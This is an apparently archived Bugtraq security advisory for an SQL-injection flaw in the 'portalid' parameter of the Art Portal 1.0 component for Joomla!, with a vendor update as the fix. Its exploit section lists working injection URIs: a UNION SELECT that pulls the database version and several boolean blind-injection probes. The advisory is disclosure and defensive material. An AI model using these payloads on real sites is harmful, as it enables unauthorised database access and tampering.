Joomla! Art Portal Component 'portalid' Parameter SQL Injection Vulnerability

Bugtraq ID:	36206
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 01 2009 12:00AM
Updated:	Sep 02 2009 07:42PM
Credit:	599eme Man
Vulnerable:	Artetics.com Art Portal 1.0
Not Vulnerable:	Artetics.com Art Portal 1.0.1

Joomla! Art Portal Component 'portalid' Parameter SQL Injection Vulnerability

The Art Portal component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Art Portal 1.0.1 are vulnerable.

Joomla! Art Portal Component 'portalid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/index.php?option=com_artportal&portalid=1 union all select 1,2,3,4,5,6,version(),8,9--
http://www.example.com/index.php?option=com_artportal&portalid=1 and 1=2 => False
http://www.example.com/index.php?option=com_artportal&portalid=1 and and 1=1 => True
http://www.example.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=4 => False
http://www.example.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=5 => True

Joomla! Art Portal Component 'portalid' Parameter SQL Injection Vulnerability

Solution:
Updates are available; please contact the vendor for details.

Joomla! Art Portal Component 'portalid' Parameter SQL Injection Vulnerability

References:

• Art Portal Homepage (Artetics.com)